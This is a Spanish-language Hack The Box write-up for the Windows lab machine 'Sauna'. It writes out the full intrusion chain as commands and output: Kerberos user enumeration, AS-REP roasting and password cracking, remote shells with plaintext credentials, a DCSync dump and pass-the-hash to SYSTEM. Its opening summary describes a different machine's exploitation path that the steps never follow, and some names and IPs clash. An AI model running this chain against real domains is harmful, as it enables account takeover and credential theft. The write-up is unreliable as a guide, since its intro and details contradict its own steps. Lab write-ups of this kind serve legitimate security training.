Maquina Sauna - htb writeup

Firtmiracle el
Maquina Sauna - htb writeup

El dia de hoy vamos a resolver Sauna de hackthebox una maquina windows de dificultad facil, esta vez nos enfrentamos a un jenkyll el cual vamos a explotarlo de dos maneras, la primera a traves de la ejecución de una tarea ejecutada periodicamente y la otra a traves del empleo de un token, despues enumeraremos las reglas de firewall para verificar las restricciones y aprochecharemos el acceso a los archivos del jenkins para desencriptar una contraseña que nos permitira conectarnos al sistema. Ya estando dentro luego de realizar una enumeración con bloodhound, abusaremos del permiso de ForceChangedPassword para cambiar la contraseña de un usuario y una vez como este aprovecharnos de GenericWrite para retocar los atributos de otro usuario manipulando el comportamiento de acción a traves del inicio de sesión y migrar a otro usuario para finalmente con el privilegio WriteOwner asigarnos el privilegio de DomainAdmins y asi obtener acceso completo al sistema.

Maquina bastante interesante.

Comenzamos como es de costumbre creando un directorio con el nombre de la maquina:

❯ mkdir Sauna
❯ ls

 Sauna

Seguidamente con la funcion mkt crearemos nuestros directorios de trabajo:

❯ which mkt
mkt () {
	mkdir {nmap,content,exploits,scripts}
}
❯ mkt
❯ ls
 content   exploits   nmap   scripts

ENUMERACION #

Comenzaremos con la fase de Enumeracion, mandando una traza a la ip de la maquina victima con el comando ping:

❯ ping -c 1 10.10.10.175
PING 10.10.10.175 (10.10.10.175) 56(84) bytes of data.
64 bytes from 10.10.10.175: icmp_seq=1 ttl=127 time=116 ms

--- 10.10.10.175 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 116.468/116.468/116.468/0.000 ms

Vemos que la maquina nos responde, con un ttl de 127 y por proximidad seria correspondiente a una maquina windows.

ESCANEO DE PUERTOS

Parámetro Descripción
-p- Escaneamos todos los 65535 puertos.
–open Solo los puertos que estén abiertos.
-v Permite ver en consola lo que va encontrando (verbose).
-oG Guarda el output en un archivo con formato grepeable para que mediante una funcion de S4vitar nos va a permitir extraer cada uno de los puertos y copiarlos sin importar la cantidad en la clipboard y asi al hacer ctrl_c esten disponibles

Procedemos a escanear los puertos abiertos y lo exportaremos al archivo de nombre openPorts:

❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.175 -oG openPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 19:04 -05
Initiating SYN Stealth Scan at 19:04
Scanning 10.10.10.175 [65535 ports]
Discovered open port 445/tcp on 10.10.10.175
Discovered open port 135/tcp on 10.10.10.175
Discovered open port 53/tcp on 10.10.10.175
Discovered open port 139/tcp on 10.10.10.175
Discovered open port 80/tcp on 10.10.10.175
Discovered open port 464/tcp on 10.10.10.175
Discovered open port 636/tcp on 10.10.10.175
Discovered open port 49667/tcp on 10.10.10.175
Discovered open port 389/tcp on 10.10.10.175
Discovered open port 9389/tcp on 10.10.10.175
Discovered open port 88/tcp on 10.10.10.175
Discovered open port 49673/tcp on 10.10.10.175
Discovered open port 593/tcp on 10.10.10.175
Discovered open port 49674/tcp on 10.10.10.175
Discovered open port 3268/tcp on 10.10.10.175
Discovered open port 5985/tcp on 10.10.10.175
Discovered open port 49676/tcp on 10.10.10.175
Discovered open port 3269/tcp on 10.10.10.175
Discovered open port 49698/tcp on 10.10.10.175
Completed SYN Stealth Scan at 19:04, 26.71s elapsed (65535 total ports)
Nmap scan report for 10.10.10.175
Host is up, received user-set (0.14s latency).
Scanned at 2023-11-23 19:04:29 -05 for 27s
Not shown: 65516 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49676/tcp open  unknown          syn-ack ttl 127
49698/tcp open  unknown          syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 26.78 seconds
           Raw packets sent: 131064 (5.767MB) | Rcvd: 32 (1.408KB)

ESCANEO DE VERSION Y SERVICIOS

❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49676,49698 10.10.10.175 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 19:05 -05
Nmap scan report for 10.10.10.175
Host is up (0.26s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-11-24 07:05:43Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49698/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-11-24T07:06:39
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required
|_clock-skew: 6h59m58s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 106.74 seconds

Entre los puertos abiertos mas relevantes podemos visualizar:

Puerto Servicio Versión
53 DNS Simple DNS Plus
80 HTTP Microsoft IIS httpd 10.0
88 KERBEROS Microsoft Windows Kerberos
135 RPC Microsoft Windows RPC
389 LDAP Microsoft Windows Active Directory LDAP
445 SMB ?
3268 LDAP Microsoft Windows Active Directory LDAP
5985 WINRM Microsoft HTTPAPI httpd 2.0

EXPLOTACION #

Como vemos que el puerto 80 corresponde a un servicio web con whatweb vamos a tratar de enumerar las tecnolologias que emplean.

❯ whatweb http://10.10.10.175
http://10.10.10.175 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,info@example.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.10.10.175], Microsoft-IIS[10.0], Script, Title[Egotistical Bank :: Home]

Vemos que nos enfrentamos a un IIS, y concretamente en la seccion de about, podemos ver varios nombres potecialmente a ser usuarios validos.

Vamos a almacenar los usuarios en un archivo, y como es comun lo haremos bajo la primera inicial del nombre y el apellido, como se muestran a continuación.


Ahora vamos a usar crackmapexec para realizar una enumeración por smb.

❯ crackmapexec smb 10.10.10.175
SMB         10.10.10.175    445    SAUNA            [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)

y agregaremos el dominio al /etc/hosts.

❯ echo "10.10.10.172 EGOTISTICAL-BANK.LOCAL" >> /etc/hosts

Ahora si con kerbrute enumeramos los usuarios validos, la herramienta nos muestra que Fsmith es valido.

❯ /opt/kerbrute/kerbrute userenum users --dc 10.10.10.175 -d EGOTISTICAL-BANK.LOCAL

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: dev (n/a) - 11/23/23 - Ronnie Flathers @ropnop

2023/11/23 19:21:18 >  Using KDC(s):
2023/11/23 19:21:18 >  	10.10.10.175:88
2023/11/23 19:21:18 >  [+] VALID USERNAME:	Fsmith@EGOTISTICAL-BANK.LOCAL
2023/11/23 19:21:18 >  Done! Tested 6 usernames (1 valid) in 0.310 seconds

Procedemos a usar GetNPUsers para ejecutar un ASRepRoast y obtener un TGT.

❯ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -no-pass -usersfile uservalid
Impacket v0.11.0 - Copyright 2023 Fortra

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:34df8e0e65cf634b68d04ae2df6e86d9$831b6eae128953abd71def69f04090582868598f156a6c40de789274d7702adc542d91857ee30ab39d7d280def70a6cc8cbda911a7ab0603e307166770bff2c7f9751b64df908cc27cabc6536f1f5b3e539c9fbc8529ec457308ed1798b9dc3bb86f839d23d0260138e386fb9d8335a7d98652329cb623899c16d1b744846337529b4057017b66ccd9b65035ab8cb619c5e89b0facf8334b75944a40b79c7a7a16c457c639d0801fa2855108b70e896efdf1613c1704583030181459258fedb2ff266fc0700ddded76d05759a8b278539cfb125d39b10e33815e49506ce8f724e6e5473c7e45966ec75bdb0c0d7a78b42a710f387324d32b689a9314c4a1f596

y ahora procedemos a crackear el hash con john y obtenemos unas credenciales jsmith:Thestrokes23.

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:06 DONE (2023-11-23 19:39) 0.1477g/s 1556Kp/s 1556Kc/s 1556KC/s Tiffani1432..Thanongsuk_police
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nos conectamos con evil-winrm como el usuario fsmith y procedemos a leer la primera flag user.txt.

ELEVACION DE PRIVILEGIOS #

Usaremos ldapdomaindump para enumerar los usuarios y saber los grupos a los cuales pertenecen.

❯ python3 /opt/ldapdomaindump/ldapdomaindump -u 'EGOTISTICAL-BANK.LOCAL\fsmith' -p 'Thestrokes23' 10.10.10.175
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished
❯ ls
 domain_computers.grep   domain_computers_by_os.html   domain_groups.json   domain_policy.json   domain_trusts.json   domain_users.json            users
 domain_computers.html   domain_groups.grep            domain_policy.grep   domain_trusts.grep   domain_users.grep    domain_users_by_group.html   uservalid
 domain_computers.json   domain_groups.html            domain_policy.html   domain_trusts.html   domain_users.html    hash

SI ahora visualizamos vemos en nuestro navegador los grupos pertenecientes.

Podemos ver que ademas de fsmith, el usuario svc_loanmgr tambien es parte del grupo Remote Management Users.

Ahora para enumerar el sistema ya que estamos como el usuario fsmith vamos a usar ha herramienta winpeas.exe, la cual podemos obtener del repositorio de GitHub.

*Evil-WinRM* PS C:\Users\FSmith\Documents> upload /home/fmiracle/machines/Sauna/content/winPEASany.exe
                                        
Info: Uploading /home/fmiracle/machines/Sauna/content/winPEASany.exe to C:\Users\FSmith\Documents\winPEASany.exe
                                        
Data: 3183956 bytes of 3183956 bytes copied
                                        
Info: Upload successful!

Despues de ejecutar obtenemos las credenciales del usuario svc_loanmanager.

Ahora podemos conectarnos como el usuario svc_loanmanager.

❯ evil-winrm -i 10.10.10.175 -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!'
                                        
Evil-WinRM shell v3.5
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr

Para enumerar el sistema ahora como el usuario actual usaremos sharphound.ps1, para ello podemos descargarlo del repositorio en el siguiente enlance:

Subimos el script a la maquina victima, importamos y ejecutamos.

*Evil-WinRM* PS C:\Windows\Temp\privesc> upload /home/fmiracle/machines/Sauna/content/SharpHound.ps1
                                        
Info: Uploading /home/fmiracle/machines/Sauna/content/SharpHound.ps1 to C:\Windows\Temp\privesc\SharpHound.ps1
                                        
Data: 1744464 bytes of 1744464 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\Temp\privesc> Import-Module .\SharpHound.ps1
*Evil-WinRM* PS C:\Windows\Temp\privesc> Invoke-BloodHound -CollectionMethods All

Y traemos el comprimido que nos crea a nuestra maquina.

*Evil-WinRM* PS C:\wINDOWS\tEMP\Privesc> download C:\wINDOWS\tEMP\Privesc\20231124015657_BloodHound.zip
                                        
Info: Downloading C:\wINDOWS\tEMP\Privesc\20231124015657_BloodHound.zip to 20231124015657_BloodHound.zip
                                        
Info: Download successful!

Subimos el comprimido al bloodhound.

Ahora marcamos al usuario svc_loanmgr como owned.

Vemos que el usuario tiene privilegios GetChangesAll sobre el dominio.

Si ahora vemos que podemos hacer con este privilegio, bloodhound nos indica que podemos efectuar en DCSync Attack.

Para ello podemos usar secretsdump para poder dumpearnos todos los hashes, incluido el del usuario Administrator.

Seguidamente podemos aplicar un pass the hash con psexec y conectarnos como el usuario administrator.

❯ psexec.py EGOTISTICAL-BANK.LOCAL/Administrator@10.10.10.175 -hashes :823452073d75b9d1cf70ebdf86c7f98e
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file JfTdhTjz.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service mLSo on 10.10.10.175.....
[*] Starting service mLSo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

FInalmente nos dirigimos al directorio personal del usuario Administrator y podemos visualizar la segunda flag root.txt.

C:\Windows\system32> cd C:\Users\Administrator\Desktop

C:\Users\Administrator\Desktop> type root.txt
3663f10ee0496eaccec1c7a21f3f8faf

Comments

comments powered by Disqus